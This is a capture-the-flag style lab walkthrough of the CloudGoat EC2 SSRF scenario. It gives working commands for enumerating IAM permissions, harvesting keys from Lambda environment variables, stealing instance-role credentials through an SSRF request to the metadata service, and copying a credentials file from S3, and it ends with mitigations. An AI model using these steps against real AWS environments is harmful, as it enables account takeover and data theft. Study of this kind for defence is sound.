Skip to content

EC2 SSRF Walkthrough

SSRF (Server-Side Request Forgery) on an EC2-hosted application allows an attacker to make the instance send HTTP requests on their behalf.
When EC2 SSRF occurs on an AWS environment, the biggest risk is access to the Instance Metadata Service (IMDS), which exposes temporary IAM credentials for the EC2 instance role.

  • Steal AWS credentials from the metadata service (169.254.169.254)
  • Assume the EC2 instance role and pivot into AWS
  • Access or modify S3 buckets, EC2 resources, IAM, Lambda, or DynamoDB (depending on the role privileges)
  • Escalate privilege by chaining cloud services
  • Maintain persistence inside the AWS account

In container-based EC2 workloads, SSRF can lead to full cluster compromise when additional misconfigurations exist.

Terminal window
# cloudgoat output (redacted)
cloudgoat_output_solus_access_key_id = <REDACTED_ACCESS_KEY_ID>
cloudgoat_output_solus_secret_key = <REDACTED_SECRET_ACCESS_KEY>

Command to verify the identity for the solus profile:

Terminal window
aws sts get-caller-identity --profile solus

Output (redacted):

Terminal window
{
"UserId": "<REDACTED_USER_ID>",
"Account": "710506681373",
"Arn": "arn:aws:iam::710506681373:user/solus-cgidnpyhcua6az"
}

Using Pacu to enumerate permissions for solus.

Terminal window
# Pacu 'whoami' output (sensitive fields redacted)
{
"UserName": "solus-cgidnpyhcua6az",
"Arn": "arn:aws:iam::710506681373:user/solus-cgidnpyhcua6az",
"AccountId": "710506681373",
"UserId": "<REDACTED_USER_ID>",
"AccessKeyId": "<REDACTED_ACCESS_KEY_ID>",
"SecretAccessKey": "<REDACTED_SECRET_ACCESS_KEY>",
"SessionToken": null,
"Permissions": {
"Allow": [
"lambda:ListEventSourceMappings",
"lambda:ListFunctions",
"lambda:GetAccountSettings",
"lambda:ListLayers",
"sts:GetSessionToken",
"sts:GetCallerIdentity",
"dynamodb:DescribeEndpoints"
]
}
}

The solus user can enumerate Lambda functions (ListFunctions, GetAccountSettings). While it cannot invoke functions, this access can reveal secrets stored in function environment variables.

2.1 List Lambda Functions (Command + Output)

Section titled “2.1 List Lambda Functions (Command + Output)”

Command used to enumerate functions:

Terminal window
aws lambda list-functions --profile solus

Output (truncated; environment variables redacted):

Terminal window
{
"Functions": [
{
"FunctionName": "cg-lambda-cgidnpyhcua6az",
"FunctionArn": "arn:aws:lambda:us-east-1:710506681373:function:cg-lambda-cgidnpyhcua6az",
"Runtime": "python3.11",
"Description": "Invoke this Lambda function for the win!",
"Environment": {
"Variables": {
"EC2_ACCESS_KEY_ID": "<REDACTED_ACCESS_KEY_ID>",
"EC2_SECRET_KEY_ID": "<REDACTED_SECRET_ACCESS_KEY>"
}
}
}
]
}

The Lambda function contained hardcoded credentials in environment variables (redacted above).

3.1 Configure Harvested Credentials (Verify)

Section titled “3.1 Configure Harvested Credentials (Verify)”

Confirming harvested credentials’ identity (redacted output):

Terminal window
aws sts get-caller-identity --profile ec2
{
"UserId": "<REDACTED_USER_ID>",
"Account": "710506681373",
"Arn": "arn:aws:iam::710506681373:user/wrex-cgidnpyhcua6az"
}

Example of configuring harvested credentials (input examples; values redacted):

Terminal window
$ aws configure --profile ec2
AWS Access Key ID [None]: <REDACTED_ACCESS_KEY_ID>
AWS Secret Access Key [None]: <REDACTED_SECRET_ACCESS_KEY>
Default region name [None]: us-east-1
Default output format [None]: json

Pacu ‘whoami’ output for the harvested principal (sensitive fields redacted):

Terminal window
{
"UserName": "wrex-cgidnpyhcua6az",
"Arn": "arn:aws:iam::710506681373:user/wrex-cgidnpyhcua6az",
"AccountId": "710506681373",
"UserId": "<REDACTED_USER_ID>",
"AccessKeyId": "<REDACTED_ACCESS_KEY_ID>",
"SecretAccessKey": "<REDACTED_SECRET_ACCESS_KEY>",
"SessionToken": null,
"Permissions": {
"Allow": [
"dynamodb:DescribeEndpoints",
"sts:GetCallerIdentity",
"sts:GetSessionToken",
"ec2:DescribeInstances",
"ec2:DescribeSubnets",
"ec2:DescribeSecurityGroups",
"ec2:DescribeVolumes",
"ec2:DescribeVpcs",
"ec2:DescribeRegions"
]
}
}

The wrex principal has broad EC2 read access. This allows enumeration of instances, metadata, tags, public IPs and associated security groups for reconnaissance.

4.1 Identify EC2 Instances and IAM Roles (Command + Output)

Section titled “4.1 Identify EC2 Instances and IAM Roles (Command + Output)”

Command used:

Terminal window
aws ec2 describe-instances --profile ec2

Output (truncated):

{
"Reservations": [
{
"Instances": [
{
"InstanceId": "i-0be338a1c4eb2c92f",
"InstanceType": "t3.micro",
"PublicIpAddress": "54.163.200.119",
"IamInstanceProfile": {
"Arn": "arn:aws:iam::710506681373:instance-profile/cg-ec2-instance-profile-cgid058vrup94h"
},
"Tags": [
{ "Key": "Name", "Value": "cg-ubuntu-ec2-cgid058vrup94h" }
],
"MetadataOptions": {
"HttpTokens": "optional",
"HttpEndpoint": "enabled"
}
}
]
}
]
}

Public IP discovered: 54.163.200.119 — useful for SSRF testing against the instance’s metadata service.

4.2 User-Data Enumeration (Command + Output)

Section titled “4.2 User-Data Enumeration (Command + Output)”

Command used to fetch user-data via the vulnerable SSRF endpoint:

Terminal window
curl 'http://54.163.200.119/?url=http://169.254.169.254/latest/user-data'

Output (startup script):

#!/bin/bash
apt-get update
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
DEBIAN_FRONTEND=noninteractive apt-get -y install nodejs unzip
cd /home/ubuntu
unzip app.zip -d ./app
cd app
npm install
sudo node app.js &
# (crontab lines elided)

User-data did not contain sensitive credentials.

4.3 SSRF Attack Against Instance Metadata (Command + Output)

Section titled “4.3 SSRF Attack Against Instance Metadata (Command + Output)”

The vulnerable application relayed metadata requests. Example command:

Terminal window
curl 'http://<vuln-host>/?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/cg-ec2-role-cgidfz7bdvzt79'

Returned credentials (redacted):

{
"Code": "Success",
"LastUpdated": "2025-06-18T08:31:12Z",
"Type": "AWS-HMAC",
"AccessKeyId": "<REDACTED_SESSION_ACCESS_KEY_ID>",
"SecretAccessKey": "<REDACTED_SESSION_SECRET>",
"Token": "<REDACTED_SESSION_TOKEN>",
"Expiration": "2025-06-18T14:49:03Z"
}

4.4 Configure Stolen (Session) Credentials (Example)

Section titled “4.4 Configure Stolen (Session) Credentials (Example)”

Example of configuring temporary credentials (values redacted):

Terminal window
$ aws configure --profile ec2_ssrf2
AWS Access Key ID [None]: <REDACTED_SESSION_ACCESS_KEY_ID>
AWS Secret Access Key [None]: <REDACTED_SESSION_SECRET>
AWS Session Token [None]: <REDACTED_SESSION_TOKEN>
Default region name [None]: us-east-1
Default output format [None]: json

Verify the configured identity:

Terminal window
aws sts get-caller-identity --profile ec2_ssrf2
{
"UserId": "<REDACTED_ASSUMED_ROLE_ID>",
"Account": "710506681373",
"Arn": "arn:aws:sts::710506681373:assumed-role/cg-ec2-role-cgid058vrup94h/i-0be338a1c4eb2c92f"
}

5.1 Enumerate S3 Buckets and Retrieve Credentials

Section titled “5.1 Enumerate S3 Buckets and Retrieve Credentials”

List buckets accessible to the session:

Terminal window
aws s3 ls --profile ec2_ssrf2

Example output (truncated):

2025-12-01 01:30:34 cg-secret-s3-bucket-cgid058vrup94h

Copy a credentials file from S3 (example):

Terminal window
aws s3 cp s3://cg-secret-s3-bucket-cgidfz7bdvzt79/aws/credentials . --profile ec2_ssrf2

Contents of credentials (redacted):

Terminal window
[default]
aws_access_key_id = <REDACTED_ACCESS_KEY_ID>
aws_secret_access_key = <REDACTED_SECRET_ACCESS_KEY>
region = us-east-1

If an administrative credential is available, listing and invoking a function may reveal flags or outputs.

Command to list functions as admin (example):

Terminal window
aws lambda list-functions --profile admin

Example function listing (env vars redacted):

{
"Functions": [
{
"FunctionName": "cg-lambda-cgid058vrup94h",
"FunctionArn": "arn:aws:lambda:us-east-1:710506681373:function:cg-lambda-cgid058vrup94h",
"Environment": {
"Variables": {
"EC2_ACCESS_KEY_ID": "<REDACTED_ACCESS_KEY_ID>",
"EC2_SECRET_KEY_ID": "<REDACTED_SECRET_ACCESS_KEY>"
}
}
}
]
}

Invoke the function (example):

Terminal window
aws lambda invoke --function-name cg-lambda-cgid058vrup94h ./out.txt --profile admin

Check output file for interesting content (example):

Terminal window
strings out.txt
# -> "You win!" (example)
  1. Do not store persistent AWS credentials inside Lambda environment variables.
  2. Enforce IAM least privilege. Remove wildcard policies such as s3:* and cloudwatch:* from high-privilege roles.
  3. Enforce IMDSv2 on EC2 instances to prevent metadata theft via SSRF.
  4. Implement S3 bucket access controls and SCPs to prevent credential leakage.
  5. Regularly rotate IAM credentials and monitor CloudTrail events for unusual access.